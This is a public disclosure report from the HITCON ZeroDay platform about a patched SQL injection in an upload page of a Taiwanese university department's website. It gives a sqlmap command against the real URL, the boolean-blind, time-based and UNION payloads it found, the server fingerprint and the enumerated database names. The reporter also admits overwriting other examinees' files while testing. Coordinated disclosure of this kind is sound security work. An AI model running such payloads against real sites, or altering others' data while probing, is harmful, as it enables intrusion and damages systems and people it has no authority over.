Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00243
- Vendor: 國立臺北科技大學電機工程系
- Title: 國立臺北科技大學電機工程系 存在 SQL injection
- Introduction: SQLi
處理狀態
目前狀態
公開
Last Update : 2022/04/16
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/04/05 00:29:59 : 新提交 (由 entroy 更新此狀態)
- 2022/04/11 13:49:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/11 15:55:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/11 15:55:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/11 15:55:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/04/11 18:13:35 : 複測申請中 (由 組織帳號 更新此狀態)
- 2022/04/12 03:40:25 : 確認已修補 (由 entroy 更新此狀態)
- 2022/04/16 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00243
- 通報者:entroy (entroy)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.ee.ntut.edu.tw/uploadfile/upload.php?isn=27
敘述
SQLi
- 參數 isn 存在 SQL injection,以 sqlmap 驗證
sqlmap https://www.ee.ntut.edu.tw/uploadfile/upload.php\?isn\=27 -p isn --level 5 --risk 3 --batch --random-agent -
result
--- Parameter: isn (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: isn=27 AND 4260=4260 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: isn=27 AND (SELECT 7937 FROM (SELECT(SLEEP(5)))Nkal) Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: isn=-1445 UNION ALL SELECT NULL,CONCAT(0x7176717071,0x4c7a4c426374596b744f4a414445654e55424b546e6c6c6d66686a7a56677444714b5a754e535758,0x71766b7671),NULL,NULL,NULL,NULL-- - --- [00:27:21] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.04 or 19.10 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 - dbs
available databases [2]: [*] information_schema [*] uploadfile - p.s. 有點不好意思 把其他考生的檔案覆寫掉了,所以可能要稍微檢查一下檔案的部分
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。